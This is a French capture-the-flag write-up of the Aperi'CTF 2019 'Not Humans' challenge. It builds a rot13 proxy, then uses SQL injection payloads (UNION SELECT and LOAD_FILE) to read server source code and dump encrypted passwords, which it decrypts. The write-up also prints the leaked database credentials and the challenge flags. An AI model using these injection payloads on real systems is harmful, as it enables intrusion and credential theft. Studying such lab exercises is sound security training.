Aperi’CTF 2019 - Not Humans
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | Not Humans (part 1) | Réseau | 100 | 23 |
| Aperi’CTF 2019 | Not Humans (part 5) | Web | 175 | 4 |
Abhf nibaf qépbhireg ha cbegnvy zranag iref ha nhger zbaqr! Vairfgvthrm rg enzrarm yr zbg qr cnffr qr y’nqzvavfgengrhe qh freivpr. Oba pbheentr.
nc humans.aperictf.fr 33331
TL;DR
Nous avions un service HTTP en rot 13 que l’on pouvait parcourir via un reverse proxy localhost implémentant le rot13. Sur ce site se trouvait une SQL injection utilisant la fonction load_file() qui nous a permis de lire le code source de l’application. La base de données dumpée combinée au code source nous a permis de déchiffrer le mot de passe de l’administrateur.
Premier aperçu du service
Tout d’abord, en décodant le résumé avec l’algorithme rot13, nous obtenons le texte suivant :
Nous avons découvert un portail menant vers un autre monde!
Investiguez et ramenez le mot de passe de l'administrateur du service.
Bon courrage.
J’ai décidé d’envoyer des données aléatoires au service
nc humans.aperictf.fr 33331
randomdata
UGGC/1.1 400 Onq Erdhrfg
Freire: atvak/1.16.0
Qngr: Fha, 12 Znl 2019 16:33:28 TZG
Pbagrag-Glcr: grkg/ugzy
Pbagrag-Yratgu: 270
Pbaarpgvba: pybfr
RGnt: "5pq849sr-10r"
<!qbpglcr ugzy>
<ugzy>
<urnq><gvgyr>400 Onq Erdhrfg</gvgyr></urnq>
<obql>
<pragre><u1>400 Onq Erdhrfg</u1></pragre>
<ue><pragre>atvak/1.15.12</pragre>
<o>Crhg-êger nirm-ibhf bhoyvé yr urnqre Ubfg: ? ;)</o>
<o>Znlor lbh'er zvffvat Ubfg: urnqre ? ;)</o>
</obql>
</ugzy>
Une fois décodé avec rot13 :
HTTP/1.1 400 Bad Request
Server: nginx/1.16.0
Date: Sun, 12 May 2019 16:33:28 GMT
Content-Type: text/html
Content-Length: 270
Connection: close
ETag: "5cd849fe-10e"
<!doctype html>
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.15.12</center>
<b>Peut-être avez-vous oublié le header Host: ? ;)</b>
<b>Maybe you're missing Host: header ? ;)</b>
</body>
</html>
Peut-être devrions-nous envoyer une requête HTTP en rot13 ? J’ai décidé d’envoyer la requête suivante :
Sans rot13 :
GET / HTTP/1.1
Host: x
Avec rot13
TRG / UGGC/1.1
Ubfg: k
Requête et réponse :
TRG / UGGC/1.1
Ubfg: k
UGGC/1.1 200 BX
Freire: atvak/1.16.0
Qngr: Fha, 12 Znl 2019 16:35:28 TZG
Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8
Genafsre-Rapbqvat: puhaxrq
Pbaarpgvba: xrrc-nyvir
K-Cbjrerq-Ol: CUC/7.3.5
353
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="HGS-8" />
<yvax ery="fglyrfurrg" uers="fglyr.pff"/>
<gvgyr>Abg Uhznaf</gvgyr>
</urnq>
<obql>
<!-- NCEX{!F1ZCY3_EBG13_E3DHRFG!} -->
<qvi pynff="jenc" fglyr="cbfvgvba: nofbyhgr;m-vaqrk:1000">
<sbez vq="frnepu">
<vachg glcr="grkg" vq="frnepuGrez" pynff="frnepuGrez" cynprubyqre="Dhv purepurm-ibhf?">
<ohggba glcr="fhozvg" pynff="frnepuOhggba"><vzt fep="mbbz.fit" jvqgu="20ck" urvtug="20ck"/></ohggba>
</sbez>
<qvi pynff="erfhyg"></qvi>
</qvi>
<qvi vq="cnegvpyrf-wf"></qvi>
<fpevcg fep="wf/cnegvpyrf.zva.wf"></fpevcg><!-- cnegvpyrf.wf yvo - uggcf://tvguho.pbz/IvapragTneernh/cnegvpyrf.wf -->
<fpevcg fep="wf/wdhrel-3.4.0.zva.wf"></fpevcg>
<fpevcg fep="wf/wninfpevcg.wf"></fpevcg>
<fpevcg fep="wf/cnegvpyrfpbagrag.wf"></fpevcg>
</obql>
</ugzy>
0
Et voici la réponse déchiffrée :
HTTP/1.1 200 OK
Server: nginx/1.16.0
Date: Sun, 12 May 2019 16:35:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.5
353
<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style.css"/>
<title>Not Humans</title>
</head>
<body>
<!-- APRK{!S1MPL3_ROT13_R3QUEST!} -->
<div class="wrap" style="position: absolute;z-index:1000">
<form id="search">
<input type="text" id="searchTerm" class="searchTerm" placeholder="Qui cherchez-vous?">
<button type="submit" class="searchButton"><img src="zoom.svg" width="20px" height="20px"/></button>
</form>
<div class="result"></div>
</div>
<div id="particles-js"></div>
<script src="js/particles.min.js"></script><!-- particles.js lib - https://github.com/VincentGarreau/particles.js -->
<script src="js/jquery-3.4.0.min.js"></script>
<script src="js/javascript.js"></script>
<script src="js/particlescontent.js"></script>
</body>
</html>
0
Nous obtenons le flag pour la partie 1 !
APRK{!S1MPL3_ROT13_R3QUEST!}
Reverse proxy local
Pour explorer le site plus facilement, j’ai mis en place un port forwarding local incluant le déchiffrement rot13. Pour cela, j’ai cherché python port forwarding sur google. J’ai trouvé ce dépôt et l’ai réutilisé sous la forme du script suivant :
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Tcp Port Forwarding (Reverse Proxy)
# Author : WangYihang <wangyihanger@gmail.com>
# Zeecka (rot13 only)
import codecs
import socket
import threading
import sys
def handle(buffer):
return codecs.encode(buffer.decode("utf-8"), 'rot_13').encode("utf-8")
def transfer(src, dst, direction):
src_name = src.getsockname()
src_address = src_name[0]
src_port = src_name[1]
dst_name = dst.getsockname()
dst_address = dst_name[0]
dst_port = dst_name[1]
while True:
buffer = src.recv(0x400)
if len(buffer) == 0:
break
dst.send(handle(buffer))
dst.shutdown(socket.SHUT_RDWR)
dst.close()
def r13Thread(LHOST,LPORT,RHOST,RPORT):
MAX_CONNECTION = 0x10
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((LHOST, LPORT))
server_socket.listen(MAX_CONNECTION)
while True:
local_socket, local_address = server_socket.accept()
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((RHOST, RPORT))
s = threading.Thread(target=transfer, args=(
remote_socket, local_socket, False))
r = threading.Thread(target=transfer, args=(
local_socket, remote_socket, True))
s.start()
r.start()
remote_socket.shutdown(socket.SHUT_RDWR)
remote_socket.close()
local_socket.shutdown(socket.SHUT_RDWR)
local_socket.close()
server_socket.shutdown(socket.SHUT_RDWR)
server_socket.close()
if __name__ == "__main__":
r13Thread("127.0.0.1",81,"nothumans.aperictf.fr",33331)
Le site peut maintenant être parcouru sur http://localhost:81.

SQL injection
En testant, un simple payload de sql injection " or 1=1# nous a renvoyé chaque enregistrement :

Nous pouvons exploiter la SQL injection et dumper le schéma de la table courante (notez que nous sélectionnons 4 champs en raison de notre contexte. Le nombre de champs peut être trouvé en utilisant GROUP BY N où N est le numéro du dernier champ) :
" UNION SELECT column_name, table_name, 3, 4 FROM information_schema.columns#

Nous pouvons maintenant dumper chaque colonne :
" UNION SELECT CONCAT(nomutilisateur,'|',age),CONCAT(cipher_txt,'|',secret_key),3,4 FROM s3cr3ts_us3rs#

Nous avons dumpé les clés et les ciphers de chaque utilisateur. Après quelques tests, les clés et les ciphers ne suffisent pas pour déchiffrer. Nous devons savoir quel algorithme a été utilisé et s’il y a d’autres clés ou IV. Pour cela, nous pouvons utiliser la SQL injection pour charger un fichier depuis le serveur web.
Load_file
Pour récupérer les fichiers du serveur web, nous pouvons utiliser la commande load_file() de MySQL. Nous devons aussi connaître le chemin web courant. Nous pouvons soit deviner le chemin courant qui est le chemin par défaut : /var/www/html, soit chercher un Full Path Disclosure qui peut être obtenu en faisant une simple requête get sur /check.php (formulaire ajax) :
curl http://localhost:81/check.php
<br />
<b>Notice</b>: Undefined index: user in <b>/var/www/html/check.php</b> on line <b>8</b><br />
<br />
<b>Warning</b>: assert(): assert(is_string($_POST['user'])) failed in <b>/var/www/html/check.php</b> on line <b>8</b><br />
Nous pouvons maintenant charger le fichier check.php avec le payload suivant :
" UNION SELECT LOAD_FILE('/var/www/html/check.php'),2,3,4#

La requête a dumpé le code source. Nous pouvons la relancer avec curl pour avoir une meilleure vue de l’ensemble du code source :
curl http://localhost:81/check.php -X POST -d 'user=" UNION SELECT LOAD_FILE(%27/var/www/html/check.php%27),2,3,4#'
Nous obtenons :
<table><tr><th>Nom</th><th>Age</th></tr><tr><td><?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$mysqli = mysqli_connect("db", "user", "u4aQnuMh63EkmYT3AzGSVSVrcBZBs4CF", "s3cr3ts_us3rs");
assert(is_string($_POST['user']));
if (isset($_POST['user']) && is_string($_POST['user'])){
// TODO: "WAF"
$query = 'SELECT * FROM s3cr3ts_us3rs WHERE nomutilisateur = "'.$_POST["user"].'";';
$returned_set = $mysqli->query($query);
echo("<table>");
echo("<tr><th>Nom</th><th>Age</th></tr>");
while($result = $returned_set->fetch_row()) {
echo("<tr>");
echo("<td>".$result[0]."</td>");
echo("<td>".$result[1]."</td>");
echo("</tr>");
}
echo("</table>");
}
/* TODO: add authentication */
/*
function decrypter($a,$b){
$cipher = base64_decode($a);
$key = hash('sha256', base64_decode($b), true);
$iv = "thisisasecretkey";
$method = "AES-256-CBC";
return openssl_decrypt($cipher, $method, $key, OPENSSL_RAW_DATA, $iv);
}
function crypter($a,$b){
$clear = $a;
$key = hash('sha256', base64_decode($b), true);
$iv = "thisisasecretkey";
$method = "AES-256-CBC";
$cipher = openssl_encrypt($clear, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($cipher);
}
if (isset($_POST['user']) && is_string($_POST['user']) &&
isset($_POST['pwd']) && is_string($_POST['pwd'])){
$query = 'SELECT * FROM s3cr3ts_us3rs WHERE nomutilisateur = "'.$_POST["user"].'";';
$returned_set = $mysqli->query($query);
while($result = $returned_set->fetch_row()) {
if ($_POST['pwd'] === decrypter($result[2],$result[3])){
echo("Bienvenue ".$result['nomutilisateur']);
}
}
}
*/
?>
</td><td>2</td></tr></table>
Déchiffrement
Pour déchiffrer les données chiffrées, nous pouvons soit utiliser le code fourni avec la fonction “decrypter”, soit l’implémenter en python :
from Crypto.Cipher import AES
import base64
import hashlib
def decrypt(cipher,key):
cipher = base64.b64decode(cipher)
key = hashlib.sha256(base64.b64decode(key)).digest()
IV = "thisisasecretkey"
aes = AES.new(key, AES.MODE_CBC, IV)
return aes.decrypt(cipher)
l = [
("RZSkJgZi9hiZmEAxVJFIFg==","GhwrXEF50rquU4NpQZhrDw=="),
("BU0Q9yto81kMIDM911kjuw==","JjAOMBl9lGpiqexsxQVu9A=="),
("BFSAm13XYkNJV2yvnkQZ1g==","nmKzysnc6yur+Wwi0HKGSA=="),
("yD0mgytKHeTh/h9lN5O8dKLetTKdORcPhQ9C7BOMUk0=","SzuYnjYuUkIupY/0nj84Qg==")
]
for elt in l:
print(decrypt(elt[0],elt[1]))
test
p@ssw0rd
qwerty123
NCEX{1_ernyyl_ybi3_ebg13}
L’un d’eux ressemble à un flag, un dernier rot13 dessus et nous obtenons le flag : APRK{1_really_lov3_rot13}
Flag
APRK{!S1MPL3_ROT13_R3QUEST!}
APRK{1_really_lov3_rot13}